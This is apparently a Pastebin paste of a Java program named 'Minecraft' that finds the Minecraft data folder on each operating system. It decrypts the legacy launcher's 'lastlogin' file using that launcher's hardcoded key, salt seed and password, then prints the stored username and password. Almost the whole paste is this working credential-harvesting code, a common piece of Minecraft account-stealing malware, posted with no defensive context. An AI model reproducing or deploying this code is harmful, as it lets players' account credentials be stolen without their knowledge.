Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import java.io.*;
- import java.net.*;
- import java.util.*;
- import javax.crypto.*;
- import javax.crypto.spec.*;
- public class Minecraft {
- static byte[] salt = new byte[8];
- public static String homePath = System.getProperty("user.home", ".");
- static File wD;
- static String aD = System.getenv("APPDATA");
- static String user;
- static String pass = "";
- public static File getwD() {
- switch (getPF()) {
- case 1:
- case 2:
- wD = new File(homePath, ".minecraft/");
- break;
- case 3:
- if (aD != null) {
- wD = new File(aD, ".minecraft/");
- } else {
- wD = new File(homePath, ".minecraft/");
- }
- break;
- case 4:
- wD = new File(homePath, "Library/Application Support/minecraft");
- break;
- default:
- wD = new File(homePath, ".minecraft/");
- }
- return wD;
- }
- private static int getPF() {
- String osName = System.getProperty("os.name").toLowerCase();
- if (osName.contains("linux")) {
- return 1;
- }
- if (osName.contains("unix")) {
- return 1;
- }
- if (osName.contains("solaris")) {
- return 2;
- }
- if (osName.contains("sunos")) {
- return 2;
- }
- if (osName.contains("win")) {
- return 3;
- }
- if (osName.contains("mac")) {
- return 4;
- }
- return 5;
- }
- public static void main(String[] args) {
- System.out.println(fetchCreds());
- }
- public static String fetchCreds(){
- try {
- Random random = new Random(43287234L);
- byte[] salt = new byte[8];
- random.nextBytes(salt);
- PBEParameterSpec pbeParamSpec = new PBEParameterSpec(salt, 5);
- SecretKey pbeKey = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec("passwordfile".toCharArray()));
- Cipher cipher = Cipher.getInstance("PBEWithMD5AndDES");
- cipher.init(2, pbeKey, pbeParamSpec);
- File passFile = new File(getwD(), "lastlogin");
- DataInputStream dis = null;
- {
- dis = new DataInputStream(new CipherInputStream(new FileInputStream(passFile), cipher));
- }
- user = dis.readUTF();
- pass = dis.readUTF();
- dis.close();
- return user+":"+pass;
- } catch (Exception ex) {
- ex.printStackTrace();
- }
- return user+":"+pass;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement